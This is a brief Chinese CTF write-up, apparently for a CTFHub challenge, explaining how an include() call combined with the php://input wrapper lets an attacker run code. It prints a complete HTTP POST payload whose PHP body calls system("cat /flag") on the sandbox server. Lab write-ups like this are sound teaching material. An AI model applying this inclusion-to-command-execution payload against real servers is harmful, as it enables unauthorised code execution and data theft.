php的input伪协议

点击此处获得更好的阅读体验


WriteUp来源

本WP来自Jazz原创投稿

题目考点

  • PHP语言

  • include函数

  • php://input伪协议

解题思路

解题思路

开局给出源代码

常用到伪协议的php://inputphp://filter.其中php://input要求allow_url_include设置为On

所以咱还是得看看phpinfo

题目下方给了题目环境的phpinfo

http://challenge-66490893c4df95f7.sandbox.ctfhub.com:10080/phpinfo.php

其实结合标题来看 就知道就是考PHP://input的。。。

Payload:

1
2
3
4
5
6
7
8
9
10
11
12
POST /?file=php://input HTTP/1.1
Host: challenge-f773e8a76a0bae1d.sandbox.ctfhub.com:10080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 32

<?php system("cat /flag");?>